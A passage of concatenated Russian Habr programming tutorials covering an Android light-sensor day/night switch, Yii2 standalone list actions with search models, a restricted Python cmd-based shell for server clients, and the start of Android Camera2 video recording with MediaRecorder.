protected void onResume() {
super.onResume();
sensorManager.registerListener(this, lightSensor, SensorManager.SENSOR_DELAY_NORMAL); //Подключаемся к сенсору
}
protected void onPause() {
super.onPause();
sensorManager.unregisterListener(this); //Отключаемся от сенсора
}
public void onAccuracyChanged(Sensor sensor, int accuracy) {
}
public void onSensorChanged(SensorEvent event) {
//Получаем данные из SensorEvent
}
}
```
Все данные от сенсора приходят в массиве [SensorEvent#values](http://http://developer.android.com/reference/android/hardware/SensorEvent.html#values).
По документации вот, что присылает нам сенсор освещённости:
*Sensor.TYPE\_LIGHT:
values[0]: Ambient light level in SI lux units*
Всего одно значение — количество люксов.
#### Минутка образования
Что такое люкс? Ну, тут всё просто: люкс — это единица освещённости поверхности 1м² при световом потоке падающего на неё излучения, равном 1 лм (люмен). А люмен — это единица измерения светового потока, равная световому потоку, испускаемому точечным изотропным источником, c силой света, равной одной канделе, в телесный угол величиной в один стерадиан. А стерадиан — это… Впрочем, давайте просто посмотрим на картинку:
(источник [blog.tredz.co.uk/wp-content/uploads/2012/09/light-dia1.jpg](http://blog.tredz.co.uk/wp-content/uploads/2012/09/light-dia1.jpg))
Если всё вместе, то люкс — это такая освещённость поверхности в 1м², которая возникает, когда на неё светят вот такой лампочкой с силой света в 1 кд (кандела) вот таким пучком света размером в 1 стерадиан.
OK, количество люксов мы знаем, что дальше? Дальше попытаемся выяснить, какой уровень освещённости типичен для светлого времени суток и для тёмного.
К слову сказать, не пытайтесь искать в поисковиках по ключевым словам “люкс”, “день”, “ночь”, если не хотите быть в курсе лучших цен на комфортабельные номера в гостиницах :).
В русской Wiki можно отыскать табличку с [примерами освещённости](https://ru.wikipedia.org/wiki/%D0%9B%D1%8E%D0%BA%D1%81), в которой можно обнаружить такие полезные примеры как:
• до 20 — В море на глубине ~50 м.
• 350±150 — Восход или закат на Венере
В силу того, что мы делаем приложение не для жителей Венеры, остановимся на значении в 50 люксов, что соответствует освещенности в жилой комнате.
#### Дело техники
Напишем класс LightSensorManager, который можно будет “включать” и “выключать” и который будет рапортовать нам, если стало темно или светло.
**LightSensorManager**
```
public class LightSensorManager implements SensorEventListener {
private enum Environment {DAY, NIGHT}
public interface EnvironmentChangedListener {
void onDayDetected();
void onNightDetected();
}
private static final int THRESHOLD_LUX = 50;
private static final String TAG = "LightSensorManager";
private final SensorManager sensorManager;
private final Sensor lightSensor;
private EnvironmentChangedListener environmentChangedListener;
private Environment currentEnvironment;
public LightSensorManager(Context context) {
sensorManager = (SensorManager) context.getSystemService(Context.SENSOR_SERVICE);
lightSensor = sensorManager.getDefaultSensor(Sensor.TYPE_LIGHT); // Сенсор освещённости
}
public void enable() {
if (lightSensor != null){
sensorManager.registerListener(this, lightSensor, SensorManager.SENSOR_DELAY_NORMAL);
} else {
Log.w(TAG, "Light sensor in not supported");
}
}
public void disable() {
sensorManager.unregisterListener(this);
}
public EnvironmentChangedListener getEnvironmentChangedListener() {
return environmentChangedListener;
}
public void setEnvironmentChangedListener(EnvironmentChangedListener environmentChangedListener) {
this.environmentChangedListener = environmentChangedListener;
}
@Override
public void onSensorChanged(SensorEvent event) {
float luxLevel = event.values[0];
Environment oldEnvironment = currentEnvironment;
currentEnvironment = luxLevel < THRESHOLD_LUX ? Environment.NIGHT : Environment.DAY;
if (hasChanged(oldEnvironment, currentEnvironment)){
callListener(currentEnvironment);
}
}
@Override
public void onAccuracyChanged(Sensor sensor, int accuracy) {}
private boolean hasChanged(Environment oldEnvironment, Environment newEnvironment) {
return oldEnvironment != newEnvironment;
}
private void callListener(Environment environment) {
if (environmentChangedListener == null || environment == null){
return;
}
switch (environment) {
case DAY:
environmentChangedListener.onDayDetected();
break;
case NIGHT:
environmentChangedListener.onNightDetected();
break;
}
}
}
```
Теперь мы можем добавить этот менеджер в нашу Activity, включая его в onResume и выключая в onPause.
Вы можете понаблюдать, как меняется уровень освещенности, не выходя из комнаты. Просто найдите датчик на девайсе и закройте его пальцем.
Может случиться так, что девайс окажется в комнате с уровнем освещённости примерно равным нашему выбранному пороговому значению в 50 люксов и, колеблясь, будет часто пересекать пороговое значение. Это приведет к тому, что наш менеджер начнет очень часто сообщать нам о смене дня и ночи. Мы избавимся от этого, введя 2 пороговых значения: верхнее и нижнее. Выше верхнего мы будем считать днём, ниже нижнего — ночью, а изменения между порогами будем игнорировать.
**LightSensorManager с двумя пороговыми значениями**
```
public class LightSensorManager implements SensorEventListener {
private enum Environment {DAY, NIGHT}
public interface EnvironmentChangedListener {
void onDayDetected();
void onNightDetected();
}
private static final int THRESHOLD_DAY_LUX = 50;
private static final int THRESHOLD_NIGHT_LUX = 40;
private static final String TAG = "LightSensorManager";
private final SensorManager sensorManager;
private final Sensor lightSensor;
private EnvironmentChangedListener environmentChangedListener;
private Environment currentEnvironment;
public LightSensorManager(Context context) {
sensorManager = (SensorManager) context.getSystemService(Context.SENSOR_SERVICE);
lightSensor = sensorManager.getDefaultSensor(Sensor.TYPE_LIGHT); // Сенсор освещённости
}
public void enable() {
if (lightSensor != null){
sensorManager.registerListener(this, lightSensor, SensorManager.SENSOR_DELAY_NORMAL);
} else {
Log.w(TAG, "Light sensor in not supported");
}
}
public void disable() {
sensorManager.unregisterListener(this);
}
public EnvironmentChangedListener getEnvironmentChangedListener() {
return environmentChangedListener;
}
public void setEnvironmentChangedListener(EnvironmentChangedListener environmentChangedListener) {
this.environmentChangedListener = environmentChangedListener;
}
@Override
public void onSensorChanged(SensorEvent event) {
float luxLevel = event.values[0];
Environment oldEnvironment = currentEnvironment;
if (luxLevel < THRESHOLD_NIGHT_LUX){
currentEnvironment = Environment.NIGHT;
} else if (luxLevel > THRESHOLD_DAY_LUX){
currentEnvironment = Environment.DAY;
}
if (hasChanged(oldEnvironment, currentEnvironment)){
callListener(currentEnvironment);
}
}
@Override
public void onAccuracyChanged(Sensor sensor, int accuracy) {}
private boolean hasChanged(Environment oldEnvironment, Environment newEnvironment) {
return oldEnvironment != newEnvironment;
}
private void callListener(Environment environment) {
if (environmentChangedListener == null || environment == null){
return;
}
switch (environment) {
case DAY:
environmentChangedListener.onDayDetected();
break;
case NIGHT:
environmentChangedListener.onNightDetected();
break;
}
}
}
```
И еще один нюанс: мы можем получить ложное срабатывание при кратковременном сильном изменении уровня освещённости. Например, если “моргнёт свет” из-за перепада напряжения или пользователь пройдет ночью под фонарным столбом.
Мы можем избавиться от этой проблемы, если запрограммируем фильтр низких частот (он же low pass filter). Он сгладит все резкие и кратковременные изменения в данных от сенсора.
**LightSensorManager с фильтром низких частот**
```
public class LightSensorManager implements SensorEventListener {
private enum Environment {DAY, NIGHT}
public interface EnvironmentChangedListener {
void onDayDetected();
void onNightDetected();
}
private static final float SMOOTHING = 10;
private static final int THRESHOLD_DAY_LUX = 50;
private static final int THRESHOLD_NIGHT_LUX = 40;
private static final String TAG = "LightSensorManager";
private final SensorManager sensorManager;
private final Sensor lightSensor;
private EnvironmentChangedListener environmentChangedListener;
private Environment currentEnvironment;
private final LowPassFilter lowPassFilter;
public LightSensorManager(Context context) {
sensorManager = (SensorManager) context.getSystemService(Context.SENSOR_SERVICE);
lightSensor = sensorManager.getDefaultSensor(Sensor.TYPE_LIGHT);
lowPassFilter = new LowPassFilter(SMOOTHING);
}
public void enable() {
if (lightSensor != null){
sensorManager.registerListener(this, lightSensor, SensorManager.SENSOR_DELAY_NORMAL);
} else {
Log.w(TAG, "Light sensor in not supported");
}
}
public void disable() {
sensorManager.unregisterListener(this);
}
public EnvironmentChangedListener getEnvironmentChangedListener() {
return environmentChangedListener;
}
public void setEnvironmentChangedListener(EnvironmentChangedListener environmentChangedListener) {
this.environmentChangedListener = environmentChangedListener;
}
@Override
public void onSensorChanged(SensorEvent event) {
float luxLevel = event.values[0];
luxLevel = lowPassFilter.submit(luxLevel);
Environment oldEnvironment = currentEnvironment;
if (luxLevel < THRESHOLD_NIGHT_LUX){
currentEnvironment = Environment.NIGHT;
} else if (luxLevel > THRESHOLD_DAY_LUX){
currentEnvironment = Environment.DAY;
}
if (hasChanged(oldEnvironment, currentEnvironment)){
callListener(currentEnvironment);
}
}
@Override
public void onAccuracyChanged(Sensor sensor, int accuracy) {}
private boolean hasChanged(Environment oldEnvironment, Environment newEnvironment) {
return oldEnvironment != newEnvironment;
}
private void callListener(Environment environment) {
if (environmentChangedListener == null || environment == null){
return;
}
switch (environment) {
case DAY:
environmentChangedListener.onDayDetected();
break;
case NIGHT:
environmentChangedListener.onNightDetected();
break;
}
}
}
public class LowPassFilter {
private float filteredValue;
private final float smoothing;
private boolean firstTime = true;
public LowPassFilter(float smoothing) {
this.smoothing = smoothing;
}
public float submit(float newValue){
if (firstTime){
filteredValue = newValue;
firstTime = false;
return filteredValue;
}
filteredValue += (newValue - filteredValue) / smoothing;
return filteredValue;
}
}
```
Кстати говоря, разработчики Android любезно добавили в класс [SensorManager](https://ru.wikipedia.org/wiki/%D0%9B%D1%8E%D0%BA%D1%81) несколько констант, связанных с разной степенью освещённости, например, [SensorManager.LIGHT\_CLOUDY](http://developer.android.com/reference/android/hardware/SensorManager.html#LIGHT_CLOUDY) или [SensorManager.LIGHT\_FULLMOON](http://developer.android.com/reference/android/hardware/SensorManager.html#LIGHT_FULLMOON).
Ну вот и готово, реализация достаточно простая. Здорово, что под бездушным кодом скрывается связь с физикой. Используя сенсоры, которыми оснащено устройство, мы можем сделать приложение удобней для пользователя и в какой- то степени интерактивным. Теперь можно не задумываясь продолжать чтение, независимо от наступления дня или ночи, заезда в тоннель или выхода на пляж.
Тем более, лето на подходе – все бегом на пляж читать.
 | https://habr.com/ru/post/255961/ | null | ru | null |
# Пример использования standalone actions в Yii2
При разработке сайта неотъемлемую часть занимает получение коллекций данных. Выборка по определённым условиям, пагинация. Каждый раз писать реализацию в контроллерах весьма занудно. Когда как можно один раз сделать расширяемую реализацию часто используемого функционала.
В данной статье будет приведен пример как при использовании функционала Standalone actions фреймворка Yii2 красиво организовать единообразную архитектуру, которую можно использовать во всех частях приложения.
**Коротко, что это**: возможность создать один раз реализацию action-а и привязывать их к произвольным контроллерам. Так базовый SiteController приложения на основе [basic application template](https://packagist.org/packages/yiisoft/yii2-app-basic) реализует два action-а — для обработки ошибок и проверки captcha:
**прикрепление action-ов к SiteController**
```
php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class SiteController extends Controller
{
public function actions()
{
return [
'error' = [
'class' => 'yii\web\ErrorAction',
],
'captcha' => [
'class' => 'yii\captcha\CaptchaAction',
'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
],
];
}
}
```
##### Что нам нужно
1. ListAction — [standalone action](https://github.com/yiisoft/yii2/blob/master/docs/guide/controller.md#standalone-actions), реализует связь между запросами и моделями поиска.
2. DataProvider — прослойка над запросами, реализует постраничную навигацию, сортировку.
3. Search [Model](https://github.com/yiisoft/yii2/blob/master/docs/guide/model.md) — Модель поиска, принимает входящие данные, производит валидацию и создаёт DataProvider с нужным запросом.
Реализацию двух последних вещей можно увидеть в стандартных CRUD-ах генерируемых [gii](https://github.com/yiisoft/yii2/blob/master/docs/guide/gii.md). Возможно покажется излишним вынос выборки данных в отдельный класс, когда как это можно было бы реализовать методом в самих моделях AR (как это было в yii1). Но как мне кажется, разделение ответственности и вынос функционала в отдельный класс даёт больше гибкости.
##### Реализация ListAction
Представляет собой класс с методом run, вызываемый при запросе к action-у. Класс наследуется от yii\base\Action. Action-ы можно настраивать при привязке к его к контроллеру, изменяя его свойства. В наш action мы передаем модель поиска, наследованный от базового абстрактного класса и прочие опционально настройки action-а, такие как кастомное представление (view), способ проставки данных, метод получения пагинации и т.п.
**реализация класса с комментариями**
```
php
namespace app\modules\shop\actions;
use Yii;
use yii\base;
use yii\web\Response;
use app\modules\shop\components\FilterModelBase;
use yii\widgets\LinkPager;
class ListAction extends base\Action
{
/**
* Модель поиска
* @var FilterModelBase
*/
protected $_filterModel;
/**
* Анонимная-функция запускаемая в случае ошибки валидации модели поиска
* @var callable
*/
protected $_validationFailedCallback;
/**
* Метод вставки данных из запроса,
* Если true, то данные в запросе должны быть в под-массиве e.g. $_GET/$_POST[SearchModel][attribute]
* @var bool
*/
public $directPopulating = true;
/**
* Метод получение пагинации, если true, то получаем уже готовый html пагинации,
* нужно для AJAX запросов
* @var bool
*/
public $paginationAsHTML = false;
/**
* Тип запроса
* @var string
*/
public $requestType = 'get';
/**
* Пусть до представления
* @var string
*/
public $view = '@app/modules/shop/views/list/index';
public function run()
{
if (!$this-_filterModel) {
throw new base\ErrorException('Не указана модель поиска');
}
$request = Yii::$app->request;
if ($request->isAjax) {
Yii::$app->response->format = Response::FORMAT_JSON;
}
// Проставляем данные
$data = (strtolower($this->requestType) === 'post' && $request->isPost) ? $_POST : $_GET;
$this->_filterModel->load(($this->directPopulating) ? $data : [$this->_filterModel->formName() => $data]);
// Производим выборку в модели поиска
$this->_filterModel->search();
// Если при поиске произошла ошибка валидации
if ($this->_filterModel->hasErrors()) {
/**
* В зависимости от запроса решаем что делать,
* если ajax то сбрасываем ошибку, иначе если входящих данных нет, очищаем ошибки
*/
if ($request->isAjax){
return (is_callable($this->_validationFailedCallback))
? call_user_func($this->_validationFailedCallback, $this->_filterModel)
: [
'error' => current($this->_filterModel->getErrors())
];
}
if (empty($data)) {
$this->_filterModel->clearErrors();
}
}
if (!($dataProvider = $this->_filterModel->getDataProvider())) {
throw new base\ErrorException('Не проинициализирован DataProvider');
}
if ($request->isAjax) {
// Возвращаем корректно сформированную коллекцию объектов
return [
'list' => $this->_filterModel->buildModels(),
'pagination' => ($this->paginationAsHTML)
? LinkPager::widget([
'pagination' => $dataProvider->getPagination()
])
: $dataProvider->getPagination()
];
}
return $this->controller->render($this->view ?: $this->id, [
'filterModel' => $this->_filterModel,
'dataProvider' => $dataProvider,
'requestType' => $this->requestType,
'directPopulating' => $this->directPopulating
]);
}
public function setFilterModel(FilterModelBase $model)
{
$this->_filterModel = $model;
}
public function setValidationFailedCallback(callable $callback)
{
$this->_validationFailedCallback = $callback;
}
}
```
Так же нужно создать представление по умолчанию для вывода данных если это не Ajax запрос.
**представление по умолчанию**
```
php
use yii\widgets\ActiveForm;
use yii\helpers\Html;
/**
* @var \yii\web\View $this
* @var \yii\data\DataProviderInterface $dataProvider
* @var \app\modules\shop\components\FilterModelBase $filterModel
* @var ActiveForm: $form
* @var string $requestType
* @var bool $directPopulating
*/
// Формируем форму для поиска по safe аттрибутам
if (($safeAttributes = $filterModel-safeAttributes())) {
echo Html::beginTag('div', ['class' => 'well']);
$form = ActiveForm::begin([
'method' => $requestType
]);
foreach ($safeAttributes as $attribute) {
echo $form->field($filterModel, $attribute)->textInput([
'name' => (!$directPopulating) ? $attribute : null
]);
}
echo Html::submitInput('search', ['class' => 'btn btn-default']).
Html::endTag('div');
ActiveForm::end();
}
echo \yii\grid\GridView::widget([
'dataProvider' => $dataProvider,
'filterModel' => $filterModel
]);
```
В данном представлении по умолчанию реализована форма поиска по [безопасным атрибутам](https://github.com/yiisoft/yii2/blob/master/docs/guide/model.md#scenarios) модели поиска и вывод результатов поиска с помощью виджета GridView. Безопасными атрибуты являются если они указаны в сценарии или же у них имеются правила валидации.
##### Базовая модель поиска
Представляет собой абстрактный класс, от которого должны наследоваться модели поиска передаваемые в ListAction. Реализует базу для взаимодействия модели и ListAction-а. Логика выборки реализуется в наследуемых моделях.
**реализация абстрактного класса**
```
php
namespace app\modules\shop\components;
use yii\base\Model;
use yii\data\DataProviderInterface;
abstract class FilterModelBase extends Model
{
/**
* @var DataProviderInterface
*/
protected $_dataProvider;
/**
* @return DataProviderInterface
*/
abstract public function search();
/**
* Получение результатов выборки
* Этот метод часто переобределяется моделями поиска, например сгруппировать в под-массивы по датам и т.д.
* @return mixed
*/
public function buildModels()
{
return $this-_dataProvider->getModels();
}
public function getDataProvider()
{
return $this->_dataProvider;
}
}
```
Осталось реализовать модель поиска и прикрепить ListAction для поиска по данной модели в произвольный контроллер. В модели поиска обязательным является реализация выборки данных. Всё остальное зависит требований той или иной модели поиска — валидация, логика компоновки данных и т.п.
Логика компоновки данных переопределяется в методе buildModels.
Ниже с комментариями приведен простой пример модели поиска продуктов:
**Модель поиска**
```
php
namespace app\modules\shop\models\search;
use app\modules\shop;
use yii\data\ActiveDataProvider;
use yii\data\Pagination;
class ProductSearch extends shop\components\FilterModelBase
{
/**
* Принимаемые моделью входящие данные
*/
public $price;
public $page_size = 20;
/**
* Правила валидации модели
* @return array
*/
public function rules()
{
return [
// Обязательное поле
['price', 'required'],
// Только числа, значение как минимум должна равняться единице
['page_size', 'integer', 'integerOnly' = true, 'min' => 1]
];
}
/**
* Реализация логики выборки
* @return ActiveDataProvider|\yii\data\DataProviderInterface
*/
public function search()
{
// Создаём запрос на получение продуктов вместе категориями
$query = shop\models\Product::find()
->with('categories');
/**
* Создаём DataProvider, указываем ему запрос, настраиваем пагинацию
*/
$this->_dataProvider = new ActiveDataProvider([
'query' => $query,
'pagination' => new Pagination([
'pageSize' => $this->page_size
])
]);
// Если ошибок нет, фильтруем по цене
if ($this->validate()) {
$query->where('price <= :price', [':price' => $this->price]);
}
return $this->_dataProvider;
}
/**
* Переопределяем метод компоновки моделей,
* возвращаем так же категории
* Это синтетический пример.
* @return array|mixed
*/
public function buildModels()
{
$result = [];
/**
* @var shop\models\Product $product
*/
foreach ($this->_dataProvider->getModels() as $product) {
$result[] = array_merge($product->getAttributes(), [
'categories' => $product->categories
]);
}
return $result;
}
}
```
Осталось прикрепить ListAction к контроллеру и передать ему модель поиска продуктов:
**настройка контроллера для поиска продуктов**
```
php
namespace app\modules\shop\controllers;
use yii\web\Controller;
use app\modules\shop\actions\ListAction;
use app\modules\shop\models\search\ProductSearch;
class ProductController extends Controller
{
public function actions()
{
return [
'index' = [
'class' => ListAction::className(),
'filterModel' => new ProductSearch(),
'directPopulating' => false,
]
];
}
}
```
Так при обращении к action-у посредством Ajax мы получим JSON примерно такого содержания:
**результат выборки**
```
{
"list":
[
{
"id": "7",
"price": "50",
"title": "product title #7",
"description": "product description #7",
"create_time": "0",
"update_time": "0",
"categories":
[
{
"id": "1",
"title": "category title #1",
"description": "category description #1",
"create_time": "0",
"update_time": "0"
}
]
}
],
"pagination":
{
"pageVar": "page",
"forcePageVar": true,
"route": null,
"params": null,
"urlManager": null,
"validatePage": true,
"pageSize": 20,
"totalCount": 1
}
}
```
При ошибке валидации массив будет содержать описание ошибки. При обычном запросе (не Ajax) мы увидим приблизительно такое:
Для примера был создан небольшой [модуль](https://github.com/ZhandosKz/list-action-example) на основе [basic application template](https://packagist.org/packages/yiisoft/yii2-app-basic). Его нужно подключить в настройках приложения Yii2 и запустить миграцию с тестовыми данными
```
php yii migrate --migrationPath=modules/shop/migrations
```
Резюмируя всё выше сказанное, данный функционал даёт возможность создать единообразную реализацию выборки коллекций и любого другого повторяющегося функционала.
Как пример из реальности, мы используем этот функционал в API, один action реализует в зависимости от запроса вывод ответа в JSON или веб-интерфейс для тестирования. | https://habr.com/ru/post/208556/ | null | ru | null |
# CLI на питоне. Пускаем пользователя на сервер
Я системный администратор по роду деятельности. Поддерживаю удаленно сервера разных клиентов. Нередко приходится слышать от клиента просьбу дать шелл-доступ на сервер. С одной стороны просьба вполне обоснованная: сервер не мой, да и доступ клиенту нужен, чтоб меня же не дергать по пустякам (скажем, посмотреть, не закончилось ли место на диске или все ли процессы запущены). С другой стороны клиент зачастую практически не имеет опыта работы в unix, и нет никакой гарантии, что я смогу все исправить после того, как клиент по незнанию сотрет что-нибудь с диска или заблочит мне доступ, удалив правила фаервола. Зачастую клиенты и сами это понимают, но настаивают на предоставлении им доступа, не видя другого выхода.
Казалось бы, можно дать клиенту урезанный шелл и контролировать исполнение «опасных» команд при помощи sudo. Однако даже если с точки зрения безопасности удается все удачно «разрулить», это не решает всех проблем. Клиента приходится учить основам работы в командной строке, отвечать на шквал вопросов и разбираться, что и почему у него не получается. Время, затрачиваемое на поддержку, увеличивается значительно.
Пытаясь найти решение я наткнулся на описание модуля [Cmd](http://docs.python.org/2/library/cmd.html) для Python. Данный модуль позволяет с минимальными затратами написать подобие интерфейса командной строки c необходимым набором команд.
Начнем с небольшого скрипта-каркаса, который можно будет дополнять командами по мере необходимости. Вот он. Всего 25 строчек. Даже под спойлер прятать не надо.
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import cmd
class Cli(cmd.Cmd):
def __init__(self):
cmd.Cmd.__init__(self)
self.prompt = "> "
self.intro = "Добро пожаловать\nДля справки наберите 'help'"
self.doc_header ="Доступные команды (для справки по конкретной команде наберите 'help _команда_')"
def do_hello(self, args):
"""hello - выводит 'hello world' на экран"""
print "hello world"
def default(self, line):
print "Несуществующая команда"
if __name__ == "__main__":
cli = Cli()
try:
cli.cmdloop()
except KeyboardInterrupt:
print "завершение сеанса..."
```
Cохраним файл как cli.py и запустим. Скрипт бодро поприветсвует нас и выдаст приглашение командной строки. Вот пример его работы:
```
$ ./cli.py
Добро пожаловать
Для справки наберите 'help'
> help
Доступные команды (для справки по конкретной команде наберите 'help _команда_')
===========================================================================
hello help
> help hello
hello - выводит 'hello world' на экран
> hello
hello world
> завершение сеанса...
```
Вернемся к коду. Мы унаследовали класс Cli от Сmd, переопределили несколько свойств для вывода приветствия и начальной справки на родном языке. А так же дописали два метода — default и do\_hello. Метод default определяет поведение командной строки в случае, если набранная пользователем команда не существует. На методе do\_hello остановимся подробней.
Метод do\_hello описывает единственную команду нашего cli (ну, кроме доступной по умолчанию help) — hello. Модуль cmd следует соглашению, по которому методы вида *do\_command* преобразуются в команды *command* в cli. Комментарий в тройных кавычках, идущий первой строкой в теле метода преобразуется в справку по этой команде. В аргументе *args* в метод передается строка пользовательских аргументов. Например, если пользователь в консоли набрал «hello everyone» переменная *args* будет содержать строку «everyone». В данном случае мы просто игнорируем аргументы командной строки.
По умолчанию доступно автодополнение (по табуляции) и история команд (стрелочка вверх). Так же доступна встроенная команда «help» (она же — "?"), которая при помощи обильной дозы магии преобразует комментарии в коде скрипта в справку по командам.
Имея данный скрипт-каркас, мы можем расширять функциональность нашего интерфейса командной строки, добавляя в код нужные методы вида *do\_cmd*. Например, удалим не несущую полезной нагрузки команду hello и добавим несколько полезных команд для мониторинга системы.
**показать**
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import cmd
import os
class Cli(cmd.Cmd):
def __init__(self):
cmd.Cmd.__init__(self)
self.prompt = "> "
self.intro = "Добро пожаловать\nДля справки наберите 'help'"
self.doc_header ="Доступные команды (для справки по конкретной команде наберите 'help _команда_')"
def do_show_cpu(self, args):
"""show_cpu - нагрузка на процессоры"""
os.system("sar 2")
def do_show_mem(self, args):
"""show_mem - использование RAM"""
os.system("free")
def do_show_disk(self, args):
"""show_disk - свободное место на диске"""
os.system("df -h")
def do_show_net(self, args):
"""show_net - сетевые параметры"""
os.system("/sbin/ifconfig")
os.system("/sbin/route -n")
def do_show_log(self, args):
"""show_log - системный журнал"""
os.system("sudo tail -f /var/log/messages")
def default(self, line):
print "Несуществующая команда"
def emptyline(self):
pass
if __name__ == "__main__":
cli = Cli()
try:
cli.cmdloop()
except KeyboardInterrupt:
print "завершение сеанса..."
```
Наш новоиспеченный шелл готов. Переместим его в место, доступное для чтения всем пользователям системы. Например в */usr/local/bin/*. Возможно, путь к нашему скрипту нужно будет прописать в */etc/shells*.
Добавляем пользователя с нашим шеллом и пробуем:
```
# adduser user --shell /usr/local/bin/cli.py
...
root@laptop:~# su - user
Добро пожаловать
Для справки наберите 'help'
> ?
Доступные команды (для справки по конкретной команде наберите 'help _команда_')
===========================================================================
help show_cpu show_disk show_log show_mem show_net
> show_cpu
Linux 3.5.0-17-generic (laptop) 04/03/2013 _x86_64_ (4 CPU)
02:38:03 PM CPU %user %nice %system %iowait %steal %idle
02:38:05 PM all 0.63 0.00 0.25 0.13 0.00 98.99
02:38:07 PM all 1.00 0.00 0.25 0.25 0.00 98.50
> show_mem
total used free shared buffers cached
Mem: 3911236 2123408 1787828 0 124156 994752
-/+ buffers/cache: 1004500 2906736
Swap: 4393980 0 4393980
>
``` | https://habr.com/ru/post/175321/ | null | ru | null |
# Android Camera2 API от чайника, часть 2, пишем видео
Продолжаем разбираться с CAMERA2 API Android.
В предыдущей статье мы осваивали работу камеры, чтобы делать фоточки, используя новое API. Теперь же займёмся съемкой видео. Вообще изначально, главной моей целью был стрим по сети живого видео с камеры Android при помощи Media Codec, но так уж вышло, что сначала на сцену вылез Media Recorder и захотел поделиться с почтеннейшей публикой тем, как хорошо он умеет записывать видосики. Поэтому стримингом мы займёмся в следующий раз, а пока разберёмся, как присобачить Media Recorder к новому API. Пост про него получился довольно банальным, поэтому под кат могут заглядывать только новички и совершеннейшие чайники.
**Итак, Media Recorder**
Как мы видим из самого названия класса и приведённой выше картинки, Media Recorder нужен нам для того, чтобы взять где-то источник аудио или видео или всё вместе и записать в итоге, всё это в файл в желаемом, а главное доступном формате.
В нашем случае задача простая, берем видео и аудио с камеры и микрофона и пишем в файл в формате MPEG\_4. Некоторые извращенцы бывало подсовывали для Media Recorder вместо файла сетевой сокет, чтобы иметь возможность гнать видос по сети, но к счастью, эти пещерные времена уже в прошлом. Мы займемся подобным в следующей статье, но возьмём для этого уже цивилизованный Media Codec.
Как все помнят по предыдущему Camera API [из далекого 2011](https://habr.com/ru/post/113480/), тогда подключение MediaRecorder не составляло никакой сложности. Приятно отметить, никакой сложности не возникает и теперь. И пусть нас не пугает картинка полной схемы работы камеры.
Нам всего лишь нужно пристегнуть Media Recorder к поверхности Surface на которую выводится изображение с камеры, а дальше он всё сделает сам. С аудио ещё тривиальнее, просто задаем нужные форматы, и Media Recorder разберется со звуком самостоятельно, не докучая нам всякими коллбэками.
Помните, как удивлялся японский товарищ из прошлого поста:
> Одна из причин почему Camera2 приводит в недоумение, это то насколько много коллбэков надо использовать, чтобы сделать один снимок.
А здесь, наоборот, удивительно то, насколько **мало коллбэков** нужно чтобы записать видео файл. Всего два. Как поёт Земфира:«Меньше всего нужны мне твои коллбэки».
**И сейчас мы их напишем**
Как исходное, возьмём код из прошлой статьи и выкинем из него всё, что относится к фотографированию и оставим, по сути, лишь разрешения и инициализацию камеры. Камеру тоже оставим всего одну — фронтальную.
```
private CameraManager mCameraManager = null;
private final int CAMERA1 = 0;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.d(LOG_TAG, "Запрашиваем разрешение");
if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED
||
(ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED)
||
(ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED)
) {
requestPermissions(new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.RECORD_AUDIO}, 1);
}
mCameraManager = (CameraManager) getSystemService(Context.CAMERA_SERVICE);
try {
// Получение списка камер с устройства
myCameras = new CameraService[mCameraManager.getCameraIdList().length];
for (String cameraID : mCameraManager.getCameraIdList()) {
Log.i(LOG_TAG, "cameraID: " + cameraID);
int id = Integer.parseInt(cameraID);
// создаем обработчик для камеры
myCameras[id] = new CameraService(mCameraManager, cameraID);
}
} catch (CameraAccessException e) {
Log.e(LOG_TAG, e.getMessage());
e.printStackTrace();
}
public class CameraService {
private String mCameraID;
private CameraDevice mCameraDevice = null;
private CameraCaptureSession mSession;
private CaptureRequest.Builder mPreviewBuilder;
public CameraService(CameraManager cameraManager, String cameraID) {
mCameraManager = cameraManager;
mCameraID = cameraID;
}
private CameraDevice.StateCallback mCameraCallback = new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice camera) {
mCameraDevice = camera;
Log.i(LOG_TAG, "Open camera with id:" + mCameraDevice.getId());
//startCameraPreviewSession(); здесь запустим камеру и пристегнём к ней Media Recorder
}
@Override
public void onDisconnected(CameraDevice camera) {
mCameraDevice.close();
Log.i(LOG_TAG, "disconnect camera with id:" + mCameraDevice.getId());
mCameraDevice = null;
}
@Override
public void onError(CameraDevice camera, int error) {
Log.i(LOG_TAG, "error! camera id:" + camera.getId() + " error:" + error);
}
};
```
Как мы видим, в разрешениях прибавилась опция RECORD\_AUDIO. Без него Media Recorder сможет записать только голое видео без звука. А если мы попытаемся все-таки указать звуковые форматы без разрешения, то он не запустится вообще. Поэтому разрешаем запись звука и прочее, помня, конечно, о том что в реальном коде в главном потоке такие вещи делать нехорошо, а хорошо только в демонстрационном.
**Далее инициализируем сам Media Recorder в отдельном методе**
```
private void setUpMediaRecorder() {
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mCurrentFile = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), "test"+count+".mp4");
mMediaRecorder.setOutputFile(mCurrentFile.getAbsolutePath());
CamcorderProfile profile = CamcorderProfile.get(CamcorderProfile.QUALITY_480P);
mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
mMediaRecorder.setVideoSize(profile.videoFrameWidth, profile.videoFrameHeight);
mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
try {
mMediaRecorder.prepare();
